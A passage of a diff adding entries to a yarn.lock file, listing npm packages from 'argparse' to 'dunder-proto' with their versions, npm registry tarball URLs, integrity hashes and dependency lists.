+    zip-stream "^2.1.2"
+
+argparse@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz"
+  integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
+
+array-buffer-byte-length@^1.0.1, array-buffer-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz"
+  integrity sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==
+  dependencies:
+    call-bound "^1.0.3"
+    is-array-buffer "^3.0.5"
+
+array-includes@^3.1.9:
+  version "3.1.9"
+  resolved "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz"
+  integrity sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.24.0"
+    es-object-atoms "^1.1.1"
+    get-intrinsic "^1.3.0"
+    is-string "^1.1.1"
+    math-intrinsics "^1.1.0"
+
+array.prototype.findlastindex@^1.2.6:
+  version "1.2.6"
+  resolved "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz"
+  integrity sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.1.1"
+    es-shim-unscopables "^1.1.0"
+
+array.prototype.flat@^1.3.3:
+  version "1.3.3"
+  resolved "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz"
+  integrity sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.flatmap@^1.3.3:
+  version "1.3.3"
+  resolved "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz"
+  integrity sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+arraybuffer.prototype.slice@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz"
+  integrity sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    is-array-buffer "^3.0.4"
+
+asn1@~0.2.3:
+  version "0.2.6"
+  resolved "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz"
+  integrity sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==
+  dependencies:
+    safer-buffer "~2.1.0"
+
+assert-plus@1.0.0, assert-plus@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz"
+  integrity sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==
+
+async-function@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz"
+  integrity sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==
+
+async@^2.0.0, async@^2.1.2, async@^2.6.3:
+  version "2.6.4"
+  resolved "https://registry.npmjs.org/async/-/async-2.6.4.tgz"
+  integrity sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==
+  dependencies:
+    lodash "^4.17.14"
+
+asynckit@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz"
+  integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==
+
+available-typed-arrays@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz"
+  integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==
+  dependencies:
+    possible-typed-array-names "^1.0.0"
+
+aws-sign2@~0.7.0:
+  version "0.7.0"
+  resolved "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz"
+  integrity sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==
+
+aws4@^1.8.0:
+  version "1.12.0"
+  resolved "https://registry.npmjs.org/aws4/-/aws4-1.12.0.tgz"
+  integrity sha512-NmWvPnx0F1SfrQbYwOi7OeaNGokp9XhzNioJ/CSBs8Qa4vxug81mhJEAVZwxXuBmYB5KDRfMq/F3RR0BIU7sWg==
+
+balanced-match@^1.0.0:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz"
+  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
+
+base64-js@^1.3.1:
+  version "1.5.1"
+  resolved "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz"
+  integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
+
+base64id@2.0.0, base64id@~2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz"
+  integrity sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==
+
+bcrypt-pbkdf@^1.0.0:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz"
+  integrity sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==
+  dependencies:
+    tweetnacl "^0.14.3"
+
+binary-extensions@^2.0.0:
+  version "2.2.0"
+  resolved "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz"
+  integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==
+
+bl@^4.0.3:
+  version "4.1.0"
+  resolved "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz"
+  integrity sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==
+  dependencies:
+    buffer "^5.5.0"
+    inherits "^2.0.4"
+    readable-stream "^3.4.0"
+
+body-parser@^1.19.0:
+  version "1.20.2"
+  resolved "https://registry.npmjs.org/body-parser/-/body-parser-1.20.2.tgz"
+  integrity sha512-ml9pReCu3M61kGlqoTm2umSXTlRTuGTx0bfYj+uIUKKYycG5NtSbeetV3faSU6R7ajOPw0g/J1PvK4qNy7s5bA==
+  dependencies:
+    bytes "3.1.2"
+    content-type "~1.0.5"
+    debug "2.6.9"
+    depd "2.0.0"
+    destroy "1.2.0"
+    http-errors "2.0.0"
+    iconv-lite "0.4.24"
+    on-finished "2.4.1"
+    qs "6.11.0"
+    raw-body "2.5.2"
+    type-is "~1.6.18"
+    unpipe "1.0.0"
+
+brace-expansion@^1.1.7:
+  version "1.1.11"
+  resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz"
+  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  dependencies:
+    balanced-match "^1.0.0"
+    concat-map "0.0.1"
+
+braces@^3.0.2, braces@~3.0.2:
+  version "3.0.2"
+  resolved "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz"
+  integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
+  dependencies:
+    fill-range "^7.0.1"
+
+buffer-crc32@^0.2.1, buffer-crc32@^0.2.13:
+  version "0.2.13"
+  resolved "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz"
+  integrity sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==
+
+buffer-from@^1.0.0:
+  version "1.1.2"
+  resolved "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz"
+  integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==
+
+buffer@^5.1.0, buffer@^5.5.0:
+  version "5.7.1"
+  resolved "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz"
+  integrity sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==
+  dependencies:
+    base64-js "^1.3.1"
+    ieee754 "^1.1.13"
+
+builtin-modules@^3.1.0:
+  version "3.3.0"
+  resolved "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz"
+  integrity sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==
+
+bytes@3.1.2:
+  version "3.1.2"
+  resolved "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz"
+  integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==
+
+call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1, call-bind-apply-helpers@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz"
+  integrity sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+
+call-bind@^1.0.7, call-bind@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz"
+  integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==
+  dependencies:
+    call-bind-apply-helpers "^1.0.0"
+    es-define-property "^1.0.0"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.2"
+
+call-bound@^1.0.2, call-bound@^1.0.3, call-bound@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz"
+  integrity sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==
+  dependencies:
+    call-bind-apply-helpers "^1.0.2"
+    get-intrinsic "^1.3.0"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+caseless@~0.12.0:
+  version "0.12.0"
+  resolved "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz"
+  integrity sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==
+
+chalk@^2.0.0:
+  version "2.4.2"
+  resolved "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz"
+  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
+  dependencies:
+    ansi-styles "^3.2.1"
+    escape-string-regexp "^1.0.5"
+    supports-color "^5.3.0"
+
+chalk@^4.0.0:
+  version "4.1.2"
+  resolved "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+chokidar@^3.5.1:
+  version "3.6.0"
+  resolved "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz"
+  integrity sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==
+  dependencies:
+    anymatch "~3.1.2"
+    braces "~3.0.2"
+    glob-parent "~5.1.2"
+    is-binary-path "~2.1.0"
+    is-glob "~4.0.1"
+    normalize-path "~3.0.0"
+    readdirp "~3.6.0"
+  optionalDependencies:
+    fsevents "~2.3.2"
+
+cliui@^7.0.2:
+  version "7.0.4"
+  resolved "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz"
+  integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==
+  dependencies:
+    string-width "^4.2.0"
+    strip-ansi "^6.0.0"
+    wrap-ansi "^7.0.0"
+
+color-convert@^1.9.0:
+  version "1.9.3"
+  resolved "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz"
+  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
+  dependencies:
+    color-name "1.1.3"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@1.1.3:
+  version "1.1.3"
+  resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz"
+  integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+combined-stream@^1.0.6, combined-stream@~1.0.6:
+  version "1.0.8"
+  resolved "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz"
+  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
+  dependencies:
+    delayed-stream "~1.0.0"
+
+commander@7.2.0:
+  version "7.2.0"
+  resolved "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz"
+  integrity sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==
+
+commander@^2.20.0:
+  version "2.20.3"
+  resolved "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz"
+  integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
+
+commondir@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz"
+  integrity sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==
+
+compress-commons@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.npmjs.org/compress-commons/-/compress-commons-2.1.1.tgz"
+  integrity sha512-eVw6n7CnEMFzc3duyFVrQEuY1BlHR3rYsSztyG32ibGMW722i3C6IizEGMFmfMU+A+fALvBIwxN3czffTcdA+Q==
+  dependencies:
+    buffer-crc32 "^0.2.13"
+    crc32-stream "^3.0.1"
+    normalize-path "^3.0.0"
+    readable-stream "^2.3.6"
+
+concat-map@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz"
+  integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
+
+connect@^3.7.0:
+  version "3.7.0"
+  resolved "https://registry.npmjs.org/connect/-/connect-3.7.0.tgz"
+  integrity sha512-ZqRXc+tZukToSNmh5C2iWMSoV3X1YUcPbqEM4DkEG5tNQXrQUZCNVGGv3IuicnkMtPfGf3Xtp8WCXs295iQ1pQ==
+  dependencies:
+    debug "2.6.9"
+    finalhandler "1.1.2"
+    parseurl "~1.3.3"
+    utils-merge "1.0.1"
+
+content-type@~1.0.5:
+  version "1.0.5"
+  resolved "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz"
+  integrity sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==
+
+cookie@~0.4.1:
+  version "0.4.2"
+  resolved "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz"
+  integrity sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==
+
+core-util-is@1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz"
+  integrity sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==
+
+core-util-is@~1.0.0:
+  version "1.0.3"
+  resolved "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz"
+  integrity sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==
+
+cors@~2.8.5:
+  version "2.8.5"
+  resolved "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz"
+  integrity sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==
+  dependencies:
+    object-assign "^4"
+    vary "^1"
+
+crc32-stream@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.npmjs.org/crc32-stream/-/crc32-stream-3.0.1.tgz"
+  integrity sha512-mctvpXlbzsvK+6z8kJwSJ5crm7yBwrQMTybJzMw1O4lLGJqjlDCXY2Zw7KheiA6XBEcBmfLx1D88mjRGVJtY9w==
+  dependencies:
+    crc "^3.4.4"
+    readable-stream "^3.4.0"
+
+crc@^3.4.4:
+  version "3.8.0"
+  resolved "https://registry.npmjs.org/crc/-/crc-3.8.0.tgz"
+  integrity sha512-iX3mfgcTMIq3ZKLIsVFAbv7+Mc10kxabAGQb8HvjA1o3T1PIYprbakQ65d3I+2HGHt6nSKkM9PYjgoJO2KcFBQ==
+  dependencies:
+    buffer "^5.1.0"
+
+cross-spawn@^7.0.6:
+  version "7.0.6"
+  resolved "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz"
+  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
+  dependencies:
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
+
+custom-event@~1.0.0:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/custom-event/-/custom-event-1.0.1.tgz"
+  integrity sha512-GAj5FOq0Hd+RsCGVJxZuKaIDXDf3h6GQoNEjFgbLLI/trgtavwUbSnZ5pVfg27DVCaWjIohryS0JFwIJyT2cMg==
+
+dashdash@^1.12.0:
+  version "1.14.1"
+  resolved "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz"
+  integrity sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==
+  dependencies:
+    assert-plus "^1.0.0"
+
+data-view-buffer@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz"
+  integrity sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz"
+  integrity sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-offset@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz"
+  integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+date-format@^4.0.14:
+  version "4.0.14"
+  resolved "https://registry.npmjs.org/date-format/-/date-format-4.0.14.tgz"
+  integrity sha512-39BOQLs9ZjKh0/patS9nrT8wc3ioX3/eA/zgbKNopnF2wCqJEoxywwwElATYvRsXdnOxA/OQeQoFZ3rFjVajhg==
+
+debug@2.6.9:
+  version "2.6.9"
+  resolved "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz"
+  integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
+  dependencies:
+    ms "2.0.0"
+
+debug@4, debug@^4.3.1, debug@^4.3.2, debug@^4.3.4, debug@~4.3.1, debug@~4.3.2, debug@~4.3.4:
+  version "4.3.4"
+  resolved "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz"
+  integrity sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==
+  dependencies:
+    ms "2.1.2"
+
+debug@^3.1.0, debug@^3.2.7:
+  version "3.2.7"
+  resolved "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz"
+  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
+  dependencies:
+    ms "^2.1.1"
+
+deep-is@^0.1.3:
+  version "0.1.4"
+  resolved "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz"
+  integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
+
+deepmerge@^4.2.2:
+  version "4.3.1"
+  resolved "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz"
+  integrity sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==
+
+define-data-property@^1.0.1, define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
+define-properties@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz"
+  integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==
+  dependencies:
+    define-data-property "^1.0.1"
+    has-property-descriptors "^1.0.0"
+    object-keys "^1.1.1"
+
+delayed-stream@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz"
+  integrity sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==
+
+depd@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz"
+  integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==
+
+destroy@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz"
+  integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==
+
+di@^0.0.1:
+  version "0.0.1"
+  resolved "https://registry.npmjs.org/di/-/di-0.0.1.tgz"
+  integrity sha512-uJaamHkagcZtHPqCIHZxnFrXlunQXgBOsZSUOWwFw31QJCAbyTBoHMW75YOTur5ZNx8pIeAKgf6GWIgaqqiLhA==
+
+doctrine@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz"
+  integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==
+  dependencies:
+    esutils "^2.0.2"
+
+dom-serialize@^2.2.1:
+  version "2.2.1"
+  resolved "https://registry.npmjs.org/dom-serialize/-/dom-serialize-2.2.1.tgz"
+  integrity sha512-Yra4DbvoW7/Z6LBN560ZwXMjoNOSAN2wRsKFGc4iBeso+mpIA6qj1vfdf9HpMaKAqG6wXTy+1SYEzmNpKXOSsQ==
+  dependencies:
+    custom-event "~1.0.0"
+    ent "~2.2.0"
+    extend "^3.0.0"
+    void-elements "^2.0.0"
+
+dunder-proto@^1.0.0, dunder-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz"
